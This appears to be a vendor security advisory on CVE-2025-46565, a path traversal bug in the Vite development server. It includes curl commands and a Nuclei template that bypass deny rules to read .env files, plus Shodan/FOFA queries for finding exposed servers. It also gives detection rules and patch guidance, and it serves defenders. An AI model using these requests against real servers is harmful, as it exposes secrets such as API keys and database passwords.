CVE-2025-46565

Executive Summary

CVE-2025-46565 is a path traversal vulnerability in the Vite development server that allows an attacker to bypass server.fs.deny restrictions and read sensitive files from the project root. The vulnerability affects Vite versions prior to 4.5.14, 5.4.19, 6.1.6, 6.2.7, and 6.3.4. By appending a slash and dot (/.) to a denied file path, an attacker can bypass the file matching patterns and retrieve the file contents. The attack requires the Vite dev server to be exposed to the network (via --host or server.host config option). The default server.fs.deny patterns include .env, .env.*, and *.{crt,pem} files, making this a critical information disclosure risk for exposed development environments.

Supply Chain & Package Security

Vite is distributed as an npm package (vite). This vulnerability affects the development server component, which is typically not exposed in production. However, developers who expose their dev server to the network (e.g., for testing on mobile devices or sharing with colleagues) are at risk. The npm ecosystem's supply chain is impacted as any project using a vulnerable Vite version and exposing the dev server is susceptible. Organizations should audit their package.json and package-lock.json files for affected versions and update immediately.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability allows unauthorized reading of sensitive files (e.g., .env with API keys, certificates) but does not allow modification or denial of service. The attack is trivial to execute once the dev server is exposed.

Deep Dive & Mechanics

The Vite dev server implements a file system access control via the server.fs.deny configuration option. This option accepts glob patterns to deny access to certain files. By default, it denies access to .env, .env.*, and *.{crt,pem} files. The vulnerability arises from how Vite resolves file paths when a trailing /. is appended to the URL.

When a request is made to /.env/., Vite's path normalization logic incorrectly resolves this to the .env file, bypassing the deny pattern check. The pattern *.env does not match .env/. because the pattern is applied before path normalization. This allows an attacker to read the contents of .env files and other denied files.

The attack flow:

1. Attacker identifies a Vite dev server exposed to the network (e.g., via Shodan or FOFA).
2. Attacker sends a request to /.env to confirm the deny rule is active (expects 403).
3. Attacker sends a request to /.env/. to bypass the deny rule and retrieve the file contents.

Vulnerable vs. Patched Code

Vulnerable Code (Vite < 4.5.14, < 5.4.19, < 6.1.6, < 6.2.7, < 6.3.4): The vulnerable code is in the file serving logic, specifically in the path normalization and deny pattern matching. The issue is that the deny patterns are matched against the raw URL path before normalization, allowing the /. bypass.

// Vulnerable: pattern matching on raw path
if (fsDenyPatterns.some(pattern => minimatch(urlPath, pattern))) {
  return 403
}

Patched Code (Vite >= 4.5.14, >= 5.4.19, >= 6.1.6, >= 6.2.7, >= 6.3.4): The patch normalizes the path before applying deny pattern matching, ensuring that /.env/. is resolved to .env and then matched against the deny patterns.

// Patched: normalize path before pattern matching
const normalizedPath = path.normalize(urlPath)
if (fsDenyPatterns.some(pattern => minimatch(normalizedPath, pattern))) {
  return 403
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Vite dev server exposed to the network (e.g., running with --host).
• The target must be running a vulnerable version of Vite.

Exploitation Steps:

1. Reconnaissance: Identify Vite dev servers using Shodan or FOFA with the query http.html:"/@vite/client".

2. Verify Vulnerability:

   curl -v http://target:5173/.env
   

   Expected response: HTTP 403 Forbidden.

3. Exploit:

   curl -v http://target:5173/.env/.
   

   Expected response: HTTP 200 OK with contents of .env file.

4. Extract Sensitive Data: Look for VITE_APP_SECRET, API_KEY, DB_PASSWORD, etc.

Nuclei Template (Provided):

id: CVE-2025-46565

info:
  name: Vite Dev Server - Information Exposure
  author: ritikchaddha
  severity: medium
  description: |
    Vite is a frontend tooling framework for JavaScript. Before versions 6.3.4, 6.2.7, 6.1.6, 5.4.19, and 4.5.14, the contents of files in the project root that are denied by a file matching pattern can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. Only files that are under project root and are denied by a file matching pattern can be bypassed. `server.fs.deny` can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns). These patterns were able to bypass for files under `root` by using a combination of slash and dot (/.). This issue has been patched in versions 6.3.4, 6.2.7, 6.1.6, 5.4.19, and 4.5.14.
  reference:
    - https://github.com/vitejs/vite/security/advisories/GHSA-859w-5945-r5v3
    - https://nvd.nist.gov/vuln/detail/CVE-2025-46565
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-46565
    epss-score: 0.01145
    epss-percentile: 0.78544
    cwe-id: CWE-22
  metadata:
    max-request: 2
    fofa-query: body="/@vite/client"
    shodan-query: http.html:"/@vite/client"
  tags: cve,cve2025,vite,exposure,bypass

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/.env"

    matchers:
      - type: status
        status:
          - 403
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/.env/."

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "VITE_APP_SECRET"
        case-insensitive: true

      - type: status
        status:
          - 200

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests to /.env/. or similar patterns (e.g., /.env.*/., /*.crt/.).
• Alert on HTTP 403 followed by HTTP 200 for the same base path with a trailing /..

Defense:

• Immediate: Update Vite to the latest patched version (>= 4.5.14, >= 5.4.19, >= 6.1.6, >= 6.2.7, >= 6.3.4).
• Network: Do not expose Vite dev servers to the internet. Use --host 127.0.0.1 or server.host: '127.0.0.1' in development.
• Firewall: Block external access to port 5173 (default Vite port) and other dev server ports.
• Reverse Proxy: If exposure is necessary, place a reverse proxy (e.g., Nginx) in front and implement additional path validation.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /.env/. or /.env.*/. or /*.crt/.
  • HTTP 403 followed by HTTP 200 for the same base path with trailing /.
  • User-Agent strings from scanning tools (e.g., nuclei, curl, python-requests)

• File IOCs:

  • Unauthorized access to .env, .env.*, *.crt, *.pem files in the project root.

• Log IOCs:

  • Vite dev server logs showing requests with /. appended to denied file paths.

Detection Engineering

YARA Rule

rule CVE_2025_46565_Vite_Path_Traversal {
    meta:
        description = "Detects path traversal attempts against Vite dev server (CVE-2025-46565)"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-46565"
        severity = "medium"
    strings:
        $pattern1 = "/.env/." ascii wide nocase
        $pattern2 = "/.env.*/." ascii wide nocase
        $pattern3 = "/*.crt/." ascii wide nocase
        $pattern4 = "/*.pem/." ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: Vite Dev Server Path Traversal Attempt (CVE-2025-46565)
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests attempting to bypass Vite dev server file deny rules using trailing slash-dot.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-46565
    - https://github.com/vitejs/vite/security/advisories/GHSA-859w-5945-r5v3
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|contains:
            - '/.env/.'
            - '/.env.*/.'
            - '/*.crt/.'
            - '/*.pem/.'
    condition: selection
falsepositives:
    - Legitimate use of paths containing these patterns (unlikely)
level: medium
tags:
    - attack.initial-access
    - attack.t1190

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-46565 Vite Dev Server Path Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/.env/."; http_uri; nocase; sid:1000001; rev:1; reference:cve,2025-46565; reference:url,github.com/vitejs/vite/security/advisories/GHSA-859w-5945-r5v3; classtype:attempted-recon; priority:2;)

Remediation & Mitigation

Immediate Actions:

1. Update Vite: Upgrade to version 4.5.14, 5.4.19, 6.1.6, 6.2.7, or 6.3.4 (or later).

   npm update vite
   # or
   yarn upgrade vite
   

2. Restrict Dev Server Access: Ensure Vite dev server is not exposed to the network. Use:

   // vite.config.js
   export default {
     server: {
       host: '127.0.0.1' // Only listen on localhost
     }
   }
   

3. Firewall Rules: Block external access to Vite dev server ports (default 5173).

Long-term Mitigations:

• Implement a reverse proxy (e.g., Nginx, Caddy) with strict path validation if dev server must be exposed.
• Use network segmentation to isolate development environments.
• Regularly audit npm dependencies for known vulnerabilities using npm audit or Snyk.

Valters IT Signature

This report was generated by Valters IT DevSecOps Intelligence. For further analysis or incident response support, contact Secure Channels (Signal / Portal).

{/* [Security Hash: B87C8B2D7575AC860049A93E] */}